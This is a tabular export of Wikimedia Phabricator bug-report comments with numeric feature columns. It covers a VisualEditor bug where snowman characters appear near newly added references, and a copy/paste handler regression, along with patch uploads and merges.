264877,VisualEditor: Snowmen appear near newly added references,*** Bug 54976 has been marked as a duplicate of this bug. ***,,,1380936671,,PHID-USER-ydswvwhh5pm4lshahjje,True,,,PHID-TASK-qzxqmy2qhwcdfwstvjhk,task_subcomment,,True,c1,3,True,,,13,,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,17.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,6.0,6.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,2.7222222222222223,0.7222222222222222,*** Bug 54976 has been marked as a duplicate of this bug. ***
264873,VisualEditor: Snowmen appear near newly added references,"(In reply to comment #12)
> Change 87455 had a related patch set uploaded by Catrope:
> When cloning the InternalList, pass through properties that aren't rebuilt
> 
> https://gerrit.wikimedia.org/r/87455

I just deployed this change, and the article linked in comment 0 now works for me on frwiki.",,,1380843132,,PHID-USER-fovtl67ew4l4cc3oeypc,True,,,PHID-TASK-qzxqmy2qhwcdfwstvjhk,task_subcomment,,True,c1,3,False,,,13,,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,5.0,0.0,8.0,14.0,0.0,3.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,3.0,0.0,0.0,0.0,0.0,0.0,14.0,0.0,3.0,0.0,3.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,16.0,0.0,3.0,5.0,0.0,0.0,0.0,3.0,3.0,0.0,5.0,0.0,5.0,14.0,5.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,3.2972972972972974,0.8108108108108109,"(In reply to comment #12)
QUOTE
QUOTE
QUOTE
QUOTE

I just deployed this change, and the article linked in comment 0 now works for me on frwiki."
264869,VisualEditor: Snowmen appear near newly added references,"Change 87459 merged by jenkins-bot:
When cloning the InternalList, pass through properties that aren't rebuilt

https://gerrit.wikimedia.org/r/87459",,,1380842062,,PHID-USER-idceizaw6elwiwm5xshb,True,,,PHID-TASK-qzxqmy2qhwcdfwstvjhk,task_subcomment,,True,c1,3,False,,,13,,0.0,0.0,0.0,4.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,9.0,9.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,13.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,4.0,0.0,4.0,4.0,17.0,4.0,0.0,4.0,0.0,0.0,0.0,0.0,4.0,0.0,4.0,0.0,0.0,9.0,13.0,0.0,0.0,0.0,0.0,0.0,9.0,0.0,0.0,4.0,0.0,0.0,0.0,4.739130434782608,1.0,"Change 87459 merged by jenkins-bot:
When cloning the InternalList, pass through properties that aren't rebuilt

GERRIT_URL"
264863,VisualEditor: Snowmen appear near newly added references,"Change 87458 merged by jenkins-bot:
When cloning the InternalList, pass through properties that aren't rebuilt

https://gerrit.wikimedia.org/r/87458",,,1380842006,,PHID-USER-idceizaw6elwiwm5xshb,True,,,PHID-TASK-qzxqmy2qhwcdfwstvjhk,task_subcomment,,True,c1,3,False,,,13,,0.0,0.0,0.0,4.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,9.0,9.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,9.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,4.0,0.0,4.0,4.0,17.0,4.0,0.0,4.0,0.0,0.0,0.0,0.0,9.0,0.0,4.0,0.0,0.0,9.0,13.0,0.0,0.0,0.0,0.0,0.0,9.0,0.0,0.0,4.0,0.0,0.0,0.0,4.739130434782608,1.0,"Change 87458 merged by jenkins-bot:
When cloning the InternalList, pass through properties that aren't rebuilt

GERRIT_URL"
264855,VisualEditor: Snowmen appear near newly added references,"Change 87455 merged by jenkins-bot:
When cloning the InternalList, pass through properties that aren't rebuilt

https://gerrit.wikimedia.org/r/87455",,,1380837106,,PHID-USER-idceizaw6elwiwm5xshb,True,,,PHID-TASK-qzxqmy2qhwcdfwstvjhk,task_subcomment,,True,c1,3,False,,,13,,0.0,0.0,0.0,4.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,9.0,9.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,13.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,4.0,0.0,4.0,4.0,17.0,4.0,0.0,4.0,0.0,0.0,0.0,0.0,4.0,0.0,4.0,0.0,0.0,9.0,13.0,0.0,0.0,0.0,0.0,0.0,9.0,0.0,0.0,4.0,0.0,0.0,0.0,4.739130434782608,1.0,"Change 87455 merged by jenkins-bot:
When cloning the InternalList, pass through properties that aren't rebuilt

GERRIT_URL"
264849,VisualEditor: Snowmen appear near newly added references,"Change 87459 had a related patch set uploaded by Jforrester:
When cloning the InternalList, pass through properties that aren't rebuilt

https://gerrit.wikimedia.org/r/87459",,,1380837082,,PHID-USER-idceizaw6elwiwm5xshb,True,,,PHID-TASK-qzxqmy2qhwcdfwstvjhk,task_subcomment,,True,c1,3,False,,,13,,0.0,0.0,0.0,4.0,4.0,4.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,8.0,8.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,4.0,0.0,8.0,4.0,19.0,4.0,0.0,8.0,0.0,0.0,0.0,0.0,4.0,0.0,4.0,0.0,0.0,8.0,12.0,0.0,0.0,0.0,0.0,0.0,8.0,4.0,0.0,4.0,0.0,0.0,0.0,4.961538461538462,1.0,"Change 87459 had a related patch set uploaded by Jforrester:
When cloning the InternalList, pass through properties that aren't rebuilt

GERRIT_URL"
264844,VisualEditor: Snowmen appear near newly added references,"Change 87458 had a related patch set uploaded by Jforrester:
When cloning the InternalList, pass through properties that aren't rebuilt

https://gerrit.wikimedia.org/r/87458",,,1380837069,,PHID-USER-idceizaw6elwiwm5xshb,True,,,PHID-TASK-qzxqmy2qhwcdfwstvjhk,task_subcomment,,True,c1,3,False,,,13,,0.0,0.0,0.0,4.0,4.0,4.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,8.0,8.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,4.0,0.0,8.0,4.0,19.0,4.0,0.0,8.0,0.0,0.0,0.0,0.0,4.0,0.0,4.0,0.0,0.0,8.0,12.0,0.0,0.0,0.0,0.0,0.0,8.0,4.0,0.0,4.0,0.0,0.0,0.0,4.961538461538462,1.0,"Change 87458 had a related patch set uploaded by Jforrester:
When cloning the InternalList, pass through properties that aren't rebuilt

GERRIT_URL"
264837,VisualEditor: Snowmen appear near newly added references,"Change 87455 had a related patch set uploaded by Catrope:
When cloning the InternalList, pass through properties that aren't rebuilt

https://gerrit.wikimedia.org/r/87455",,,1380836809,,PHID-USER-idceizaw6elwiwm5xshb,True,,,PHID-TASK-qzxqmy2qhwcdfwstvjhk,task_subcomment,,True,c1,3,False,,,13,,0.0,0.0,0.0,4.0,4.0,4.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,8.0,8.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,4.0,0.0,8.0,4.0,19.0,4.0,0.0,8.0,0.0,0.0,0.0,0.0,4.0,0.0,4.0,0.0,0.0,8.0,12.0,0.0,0.0,0.0,0.0,0.0,8.0,4.0,0.0,4.0,0.0,0.0,0.0,4.846153846153846,1.0,"Change 87455 had a related patch set uploaded by Catrope:
When cloning the InternalList, pass through properties that aren't rebuilt

GERRIT_URL"
264833,VisualEditor: Snowmen appear near newly added references,*** Bug 54917 has been marked as a duplicate of this bug. ***,,,1380835733,,PHID-USER-ydswvwhh5pm4lshahjje,True,,,PHID-TASK-qzxqmy2qhwcdfwstvjhk,task_subcomment,,True,c1,3,True,,,13,,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,17.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,6.0,6.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,2.7222222222222223,0.7222222222222222,*** Bug 54917 has been marked as a duplicate of this bug. ***
264828,VisualEditor: Snowmen appear near newly added references,I was able to reproduce this on that frwiki article just now. I get the same error about group.firstNodes[group2] being undefined. Investigating further.,,,1380832805,,PHID-USER-fovtl67ew4l4cc3oeypc,True,,,PHID-TASK-qzxqmy2qhwcdfwstvjhk,task_subcomment,,True,c1,3,False,,,13,,0.0,0.0,0.0,0.0,0.0,15.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,4.0,11.0,11.0,0.0,4.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,7.0,0.0,0.0,0.0,11.0,0.0,7.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,7.0,11.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,7.0,11.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,4.851851851851852,0.8888888888888888,I was able to reproduce this on that frwiki article just now. I get the same error about group.firstNodes[group2] being undefined. Investigating further.
264823,VisualEditor: Snowmen appear near newly added references,Being able to add references without corrupting the article is a core requirement. Updating the severity to critical.,,,1380832424,,PHID-USER-ysftv67jxeaxdwcakvwo,True,,,PHID-TASK-qzxqmy2qhwcdfwstvjhk,task_subcomment,,True,c1,3,False,,,13,,0.0,0.0,0.0,0.0,0.0,10.0,10.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,15.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,10.0,0.0,5.0,0.0,0.0,0.0,15.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,15.0,10.0,10.0,0.0,0.0,15.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,15.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,10.0,0.0,0.0,0.0,5.0,0.85,Being able to add references without corrupting the article is a core requirement. Updating the severity to critical.
264817,VisualEditor: Snowmen appear near newly added references,"Same for me too, it appears literally impossible to add a reference without snowmen and a bogus reference tag (FF 24.0, Windows 7):

https://en.wikipedia.org/w/index.php?title=X_Window_System&diff=575630218&oldid=575623976",,,1380831976,,PHID-USER-gfaq55vdypjmzz6nl2kn,True,,,PHID-TASK-qzxqmy2qhwcdfwstvjhk,task_subcomment,,True,c1,3,False,,,13,,0.0,0.0,0.0,0.0,0.0,10.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,7.0,10.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,3.0,3.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,21.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,14.0,0.0,3.0,7.0,0.0,0.0,0.0,0.0,3.0,0.0,7.0,0.0,7.0,10.0,3.0,0.0,0.0,0.0,7.0,0.0,0.0,7.0,3.0,0.0,0.0,0.0,0.0,3.9310344827586206,0.896551724137931,"Same for me too, it appears literally impossible to add a reference without snowmen and a bogus reference tag (FF 24.0, Windows 7):

URL"
264811,VisualEditor: Snowmen appear near newly added references,"Could this please have a priority assigned? Other editors are finding it a blocker to editing with references:

This bug is really annoying! Every time I add a new reference I can't do anything after it because whatever I click on my keyboard the snowmen appear! Even clicking backspace to delete them multiplies them along with already existing text! Only way to get out of there is to cancel my edit and lose the work I've done! :/ Basically, VE can't be used almost at all at this point, since every addition to an article has to have a reference too! Is there any information about when this bug will get fixed? TeamGale 04:35, 3 October 2013 (UTC)",,,1380789059,,PHID-USER-gfaq55vdypjmzz6nl2kn,True,,,PHID-TASK-qzxqmy2qhwcdfwstvjhk,task_subcomment,,True,c1,3,False,,,13,,2.5,0.5,0.0,0.5,1.0,1.5,0.5,0.5,0.0,0.0,0.0,2.0,0.0,1.0,1.5,3.5,0.0,8.0,11.5,0.5,2.5,0.0,0.5,0.0,0.0,0.0,0.0,0.0,0.5,0.5,0.0,6.0,0.5,1.0,0.5,0.0,0.5,0.0,0.0,0.0,0.0,1.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,9.5,0.0,2.5,0.0,0.5,0.0,0.0,0.0,0.0,0.0,0.0,1.0,1.0,0.0,0.5,0.0,0.0,0.0,4.0,3.0,9.5,2.0,0.5,9.0,0.0,0.5,3.0,0.0,6.0,0.5,1.5,0.0,5.5,11.5,3.5,1.0,0.0,0.0,5.5,0.0,1.0,3.0,1.0,2.0,0.0,0.0,0.0,3.9669666374012293,0.8518437225636524,"Could this please have a priority assigned? Other editors are finding it a blocker to editing with references:

This bug is really annoying! Every time I add a new reference I can't do anything after it because whatever I click on my keyboard the snowmen appear! Even clicking backspace to delete them multiplies them along with already existing text! Only way to get out of there is to cancel my edit and lose the work I've done! :/ Basically, VE can't be used almost at all at this point, since every addition to an article has to have a reference too! Is there any information about when this bug will get fixed? TeamGale 04:35, 3 October 2013 (UTC)"
264806,VisualEditor: Snowmen appear near newly added references,"My edit above to [[OpenOffice.org]] was in Firefox 24.0, Ubuntu 12.04 distro version.",,,1380644594,,PHID-USER-gfaq55vdypjmzz6nl2kn,True,,,PHID-TASK-qzxqmy2qhwcdfwstvjhk,task_subcomment,,True,c1,3,False,,,13,,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,5.0,0.0,5.0,11.0,0.0,5.0,0.0,0.0,0.0,5.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,21.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,5.0,11.0,11.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,21.0,3.8421052631578947,0.8947368421052632,"My edit above to [[OpenOffice.org]] was in Firefox 24.0, Ubuntu 12.04 distro version."
264801,VisualEditor: Snowmen appear near newly added references,"An instance of this from en.wp. David Gerard reports:

Dig this: https://en.wikipedia.org/w/index.php?title=OpenOffice.org&diff=575290819&oldid=575267859
What I was trying to do was add PladaoOffice and a reference link, which appeared to add correctly in the VE. Then I noticed there was a full stop after ""SunShine Office"", so I clicked on it to put the cursor there, and VE added a pile of ""☃☃☃☃☃☃☃☃☃☃☃☃☃☃☃☃☃☃☃☃"", and more each time I clicked again. Note also that my carefully constructed reference is gone, leaving only ""<ref name="":0"" />"", and it's added another spurious one of those higher up",,,1380643572,,PHID-USER-ysftv67jxeaxdwcakvwo,True,,,PHID-TASK-qzxqmy2qhwcdfwstvjhk,task_subcomment,,True,c1,3,False,,,13,,0.5,0.0,0.0,0.5,0.0,2.0,0.0,0.0,0.0,0.0,0.5,0.0,0.0,0.5,0.5,3.0,0.0,5.0,7.0,0.0,1.5,0.0,0.0,0.0,4.5,0.0,0.0,0.0,0.0,0.0,0.0,2.0,1.0,1.0,3.0,0.0,0.5,0.5,1.0,0.0,0.0,0.0,0.5,0.0,0.0,0.0,0.0,0.0,0.0,5.5,0.5,2.0,0.0,0.5,0.0,0.0,0.0,0.0,2.0,0.5,0.5,0.0,0.0,0.5,0.0,0.0,0.0,3.0,2.0,9.0,0.5,3.0,7.0,0.0,0.0,0.0,0.0,3.0,0.0,0.5,0.0,4.0,7.0,5.0,0.0,4.5,0.0,4.0,0.0,1.0,2.0,0.0,1.0,1.5,0.0,15.0,3.1791044776119404,0.6567164179104478,"An instance of this from en.wp. David Gerard reports:

Dig this: URL
What I was trying to do was add PladaoOffice and a reference link, which appeared to add correctly in the VE. Then I noticed there was a full stop after ""SunShine Office"", so I clicked on it to put the cursor there, and VE added a pile of ""☃☃☃☃☃☃☃☃☃☃☃☃☃☃☃☃☃☃☃☃"", and more each time I clicked again. Note also that my carefully constructed reference is gone, leaving only ""<ref name="":0"" />"", and it's added another spurious one of those higher up"
264796,VisualEditor: Snowmen appear near newly added references,"Please replace the word ""pawns"" with ""snowmen"". Sorry for the confusion.",,,1380643247,,PHID-USER-wil4b5lylrvf3krixlkl,True,,,PHID-TASK-qzxqmy2qhwcdfwstvjhk,task_subcomment,,True,c1,3,False,,,13,,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,18.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,12.0,0.0,12.0,0.0,0.0,12.0,0.0,0.0,0.0,0.0,6.0,12.0,0.0,0.0,0.0,12.0,0.0,0.0,24.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.6470588235294117,0.7058823529411765,"Please replace the word ""pawns"" with ""snowmen"". Sorry for the confusion."
264791,VisualEditor: Snowmen appear near newly added references,"**seudeau** wrote:

That looks like 
https://bugzilla.wikimedia.org/show_bug.cgi?id=53642, which is quite old
though. 

I also tried to reproduced in a user-specific test page, but couldn't.",,,1380300630,,PHID-USER-ynivjflmc2dcl6w5ut5v,True,,,PHID-TASK-qzxqmy2qhwcdfwstvjhk,task_subcomment,,True,c1,3,False,,,12,,0.0,0.0,0.0,0.0,3.0,5.0,3.0,0.0,3.0,0.0,3.0,3.0,0.0,0.0,0.0,3.0,0.0,11.0,8.0,0.0,3.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,3.0,0.0,0.0,5.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,21.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,3.0,3.0,8.0,0.0,3.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,8.0,0.0,0.0,0.0,0.0,3.0,0.0,3.0,3.0,0.0,0.0,0.0,0.0,0.0,3.1578947368421053,0.8421052631578947,"**seudeau** wrote:

That looks like 
URL which is quite old
though. 

I also tried to reproduced in a user-specific test page, but couldn't."
264787,VisualEditor: Snowmen appear near newly added references,"**seudeau** wrote:

%%%*** Bug 54708 has been marked as a duplicate of this bug. ***%%%",,,1380300556,,PHID-USER-ynivjflmc2dcl6w5ut5v,True,,,PHID-TASK-qzxqmy2qhwcdfwstvjhk,task_subcomment,,True,c1,3,False,,,12,,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,22.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,3.0,3.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,19.0,3.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,2.3125,0.5625,"**seudeau** wrote:

%%%*** Bug 54708 has been marked as a duplicate of this bug. ***%%%"
264782,VisualEditor: Snowmen appear near newly added references,"A last comment from the user,
<<[...] Sometimes the following error appears, ""Javascript Error: Cannot open another window while another one is active"". Sometimes the text of the page breaks down completely and the browser gets stuck.
Do not try to look at what's on line 54 of load.php, you'll give up quickly  :-)>>",,,1380299308,,PHID-USER-wil4b5lylrvf3krixlkl,True,,,PHID-TASK-qzxqmy2qhwcdfwstvjhk,task_subcomment,,True,c1,3,False,,,12,,0.0,0.0,1.0,0.0,3.0,3.0,1.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,8.0,12.0,0.0,1.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,1.0,1.0,0.0,8.0,0.0,0.0,1.0,1.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,1.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,8.0,1.0,9.0,1.0,1.0,11.0,0.0,1.0,0.0,0.0,5.0,0.0,3.0,0.0,1.0,12.0,3.0,0.0,3.0,0.0,1.0,0.0,1.0,1.0,0.0,1.0,0.0,0.0,7.0,3.5945945945945947,0.7972972972972973,"A last comment from the user,
<<[...] Sometimes the following error appears, ""Javascript Error: Cannot open another window while another one is active"". Sometimes the text of the page breaks down completely and the browser gets stuck.
Do not try to look at what's on line 54 of load.php, you'll give up quickly  :-)>>"
56375,"VisualEditor: [Regression] Copy/paste handlers intercept non-surface copy/paste events, even after VE is closed","For example, you can't copy/paste in the edit summary box.

--------------------------
**Version**: unspecified
**Severity**: major",Unbreak Now!,100.0,1379680980,1379977964.0,PHID-USER-it53o2f2kyryqyj33uzt,False,,False,PHID-TASK-m5xhygyqlxkvxhsdd6xe,task_description,resolved,True,c1,3,True,False,True,11,,0.0,0.0,0.0,0.0,3.0,6.0,0.0,0.0,0.0,0.0,3.0,3.0,0.0,0.0,0.0,0.0,0.0,3.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,15.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,9.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,3.0,6.0,3.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.6363636363636362,0.7272727272727273,"For example, you can't copy/paste in the edit summary box.

--------------------------
**Version**: unspecified
**Severity**: major"
250036,"VisualEditor: [Regression] Copy/paste handlers intercept non-surface copy/paste events, even after VE is closed","Change 85784 merged by jenkins-bot:
Only listen for copy/paste on documentNode and pasteTarget

https://gerrit.wikimedia.org/r/85784",,,1379977939,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-m5xhygyqlxkvxhsdd6xe,task_subcomment,,True,c1,3,False,,,12,,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,5.0,14.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,14.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,14.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,5.0,0.0,0.0,14.0,19.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.523809523809524,1.0,"Change 85784 merged by jenkins-bot:
Only listen for copy/paste on documentNode and pasteTarget

GERRIT_URL"
250028,"VisualEditor: [Regression] Copy/paste handlers intercept non-surface copy/paste events, even after VE is closed","Change 85783 merged by jenkins-bot:
Only listen for copy/paste on documentNode and pasteTarget

https://gerrit.wikimedia.org/r/85783",,,1379977741,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-m5xhygyqlxkvxhsdd6xe,task_subcomment,,True,c1,3,False,,,12,,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,5.0,14.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,14.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,14.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,10.0,0.0,5.0,0.0,0.0,14.0,14.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.523809523809524,1.0,"Change 85783 merged by jenkins-bot:
Only listen for copy/paste on documentNode and pasteTarget

GERRIT_URL"
250019,"VisualEditor: [Regression] Copy/paste handlers intercept non-surface copy/paste events, even after VE is closed","Change 85784 had a related patch set uploaded by Catrope:
Only listen for copy/paste on documentNode and pasteTarget

